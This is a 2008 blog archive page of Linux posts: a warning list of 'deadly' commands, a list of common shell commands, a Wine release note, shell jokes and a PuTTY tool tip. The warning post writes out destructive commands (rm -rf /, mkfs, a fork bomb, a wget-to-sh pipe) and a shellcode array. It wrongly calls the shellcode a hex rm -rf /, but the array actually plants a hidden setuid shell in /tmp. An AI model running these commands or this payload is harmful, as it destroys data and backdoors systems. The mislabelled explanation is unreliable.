Fail2Care.COM

The personal blog of PaulpBaker!

Archive for the 'Linux' Category...

Filed under Linux
If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:


rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.

Posted by PaulpBaker on Friday, November 21st, 2008

Filed under Linux

We have listed below 50 commonly used Linux / Unix commands that we think every geek should learn by heart. These commands are vital for your complete access to Shells and Consoles. Print them out. Hang them near your monitor. Practice them. Only constant practice will let you retain the usage and utility of all these console commands. Enjoy the list.

1. clear: Clears the terminal window
2. ls directory: List contents of a directory
3. cat filename: Displays the contents of a file in the terminal
4. rm filename: Removes a file
5. cp sourcefile detstinationfilename: Copies a file
6. passwd: Changes password
7. motd: Message of the Day
8. finger username: User information lookup program
9. startx: Starts an X Window System server
10. less filename or more filename: Displays the contents of a file in the terminal one page at a time
11. info: Displays information and documentation on shells, utilities and programs
12. lpr filename: Sends file to printer
13. grep string filename: looks through files for strings
14. head filename: Displays first 10 lines of file
15. tail filename: Displays last 10 lines of file
16. mv existingfilename newfilename: Moves or renames file
17. file filename: Displays information about file contents
18. echo string: Copies string to terminal
19. date: Displays current date and time
20. cal: Displays calendar
21. gzip filename: Compresses a file
22. gunzip filename: Decompresses a compressed file
23. which command: Displays path to command
24. whereis command: Displays paths to locations of commands
25. who: Lists currently logged on users
26. finger username@hostname: Obtains detailed information about a user currently using the system
27. w: Lists currently logged on users with processing usage
28. mesg y/n: Sets options for letting other users write you messages
29. write user: Sends message to other users
30. talk user: Allows two way chat to other users
31. chmod permissions filename: Changes file access permissions
32. mkdir directoryname: Makes a directory
33. rmdir directoryname: Removes an empty directory
34. ln existingfile new-link: Creates link to an existing file (hard link)
35. df: Displays all mounted filesystems
36. top: Displays updating list of currently running processes
37. tty: Displays the name of the terminal in which the command was issued
38. kill PID or %job number: Aborts a process by PID (Process Identification Number) or job number
39. jobs: Displays a list of current jobs
40. netstat: Displays network connections
41. traceroute host: Prints the route packets take to the host
42. nslookup: Queries Internet domain name servers
43. hostname: Displays system identity name
44. rlogin host: Utility to connect to a remote system
45. telnet host: Utility to connect to a remote system (similar to rlogin but more interactive)
46. rcp file remotemachine: Used to copy from a remote computer
47. ftp: Utility to transfer files between systems on a network
48. rsh command: Utility to run a command on a remote system without logging in
49. ping host: Utility used to test connection to a remote system
50. lcd directorypath: Changes local machine directory while logged on to remote machine

Posted by PaulpBaker on Tuesday, October 14th, 2008

Filed under Linux, Software

What’s new in this release (see below for details):
  - Substantial JavaScript implementation.
  - Partial support for layered windows.
  - Support for Unicode file export in Regedit.
  - Proper exception handling in widl-generated code.
  - Asynchronous requests and cookies support in WinHTTP.
  - Various bug fixes.

The source is available from the following locations:

http://ibiblio.org/pub/linux/system/emulators/wine/wine-1.1.5.tar.bz2
http://prdownloads.sourceforge.net/wine/wine-1.1.5.tar.bz2

Binary packages for various distributions will be available from:

http://www.winehq.org/site/download

You will find documentation on http://www.winehq.org/site/documentation

You can also get the current source directly from the git
repository. Check http://www.winehq.org/site/git for details.

Posted by PaulpBaker on Sunday, September 21st, 2008

Filed under Linux

When I found these funniest Linux/Unix shell commands, I just had to share them. Here are my favourites:

% sleep with me

bad character

% If I had a ( for every $ the Congress spent, what would I have?
Too many (’s.

% ^How did the sex change operation go?^
Modifier failed.

% !:say, what is saccharine?
Bad substitute.

What’s your favourite?

Posted by PaulpBaker on Friday, August 29th, 2008

Filed under Linux, Software

It seems like everybody uses the free PuTTY client for accessing SSH
from Windows, but the lack of a tabbed interface has kept me using the
commercial SecureCRT application for years… until now.

With the PuTTY Connection Manager you can not only use tabs, but
also wrap PuTTY in a slick interface. The underlying client is still
the same putty.exe that you are used to… in fact the application
doesn’t even come bundled with it.

The first time you launch the application you’ll be asked to enter the location to your copy of PuTTY.

image

And finally, a tabbed version of PuTTY!

image

Download

Posted by PaulpBaker on Thursday, July 17th, 2008